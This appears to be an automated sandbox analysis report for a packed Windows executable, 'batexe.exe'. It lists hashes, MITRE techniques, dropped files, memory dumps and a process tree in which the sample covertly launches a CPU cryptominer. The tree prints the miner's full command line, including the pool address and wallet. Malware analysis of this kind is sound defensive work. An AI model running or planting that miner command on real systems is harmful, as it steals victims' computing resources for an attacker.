73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
294s
max time network
295s
platform
windows10-2004_x64
resource
win10v2004-20240221-ja
resource tags

arch:x64arch:x86image:win10v2004-20240221-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
21/02/2024, 17:18

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2132103209-3755304320-2959162027-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2132103209-3755304320-2959162027-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
1408	b2e.exe
4848	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
4848	cpuminer-sse2.exe
4848	cpuminer-sse2.exe
4848	cpuminer-sse2.exe
4848	cpuminer-sse2.exe
4848	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/832-7-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 832 wrote to memory of 1408	832	batexe.exe	87
PID 832 wrote to memory of 1408	832	batexe.exe	87
PID 832 wrote to memory of 1408	832	batexe.exe	87
PID 1408 wrote to memory of 2512	1408	b2e.exe	88
PID 1408 wrote to memory of 2512	1408	b2e.exe	88
PID 1408 wrote to memory of 2512	1408	b2e.exe	88
PID 2512 wrote to memory of 4848	2512	cmd.exe	91
PID 2512 wrote to memory of 4848	2512	cmd.exe	91

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:832
- C:\Users\Admin\AppData\Local\Temp\6040.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\6040.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\6040.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:1408
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\636D.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2512
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:4848

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\6040.tmp\b2e.exe

Filesize
10.9MB

MD5
deefd3e520ea369c8a728bfc6467025c

SHA1
146b8050b65b1180eb943dd9e5480e0904e45105

SHA256
2d1b598f48fe9ded8af44bb1abcd862588a26214aa47f5017c6b9912566d9876

SHA512
8919c70620f2194742e4698a0e2182a4b324be468efb65e3e8567d72482eb01d2eeb189c255343eac844d7dd444dd255b8a0ade43356512290434625474e77d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\6040.tmp\b2e.exe

Filesize
1.3MB

MD5
c9e84cbca1035882992aa8f091867ac3

SHA1
1443a92e2f16370eb58c2616b93bd05800477059

SHA256
7fbd54dcd4cccdcd56ac66c14f4169eb89d7e7051157597045342ba891cec3a5

SHA512
340300e908491b1528e069be150020dd59bf809974fb0090f4e8e48fc92283926c60d345ac5e9198e298172959bea044d09b460f53663c66850cb36c07c5eff9

Download Submit
C:\Users\Admin\AppData\Local\Temp\6040.tmp\b2e.exe

Filesize
1.6MB

MD5
1e9446ffe80055b0d0681a975585d4f2

SHA1
e2b13091250549c39e6156044d3d826cfa7cc936

SHA256
6a5e65eb48e3c9f4a594a64b60d57436418cec87e75c9cf93d55746ef761e17c

SHA512
fc3ca72c1070ad153cb9f99b6a1665efb80d83005f575d70437af8d87164bff1c689305570feb80d84889a31fdc0ee1b375576fa9594ee303c2ab0776bf0e2fa

Download Submit
C:\Users\Admin\AppData\Local\Temp\636D.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
4.1MB

MD5
96a1862176053f5bfcf2283dc50194e1

SHA1
d4a8489c599b1722b1dba70ce783b8ce1620a66e

SHA256
71f513bcb4f29efb1c6cdd0a49994c183abaf978aadbf88d2bb195006b90119f

SHA512
0f5ef6842c80c998434f3fd097cd365f37c26406eaaf027abdcb89a8a864b8ef23bfbcef56bd29af5327fc0a770734b7dd5dc6a63ae56fe44dfd2f99e7e2c290

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
5.0MB

MD5
79bdfcfe344ee3cbc65d4ef7a29f0422

SHA1
92d34cb27a90944b17256a412e93898614913bc7

SHA256
78ea49fe10b48154da174a3bfec21db39bb824fb0c0662ac72588f484b4faa42

SHA512
540df7a7fd90277f6419ad45a8f53a78d4ccad99e1d515f3823b8f2e91654265e50ed51eb50cc668b6d862e5880953ddbe4266b73811db16ca438596be903b85

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
4.4MB

MD5
1b0178828858d2b6bb55cc50e02f0807

SHA1
b93ba5d1f09c9942dc8186977ea5189f01cf4335

SHA256
ce8e095a8698e8958dd9822a5f534a7a363008cbd48f36624f0587801f0aa171

SHA512
5fea46e6adfd1c635f7d377a9382558d9c516ff60b27e2d78293ecc3998b6aa65304a8cb4e81f348853920e9bfe2f2f82a4a063fc50fc84c0d2063e672eb82e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/832-7-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/1408-9-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/1408-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4848-44-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/4848-59-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4848-45-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/4848-47-0x0000000000F40000-0x00000000027F5000-memory.dmp

Filesize
24.7MB

Download
memory/4848-48-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4848-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4848-54-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4848-46-0x0000000060AE0000-0x0000000060B78000-memory.dmp

Filesize
608KB

Download
memory/4848-64-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4848-69-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4848-74-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4848-79-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4848-84-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4848-89-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4848-94-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download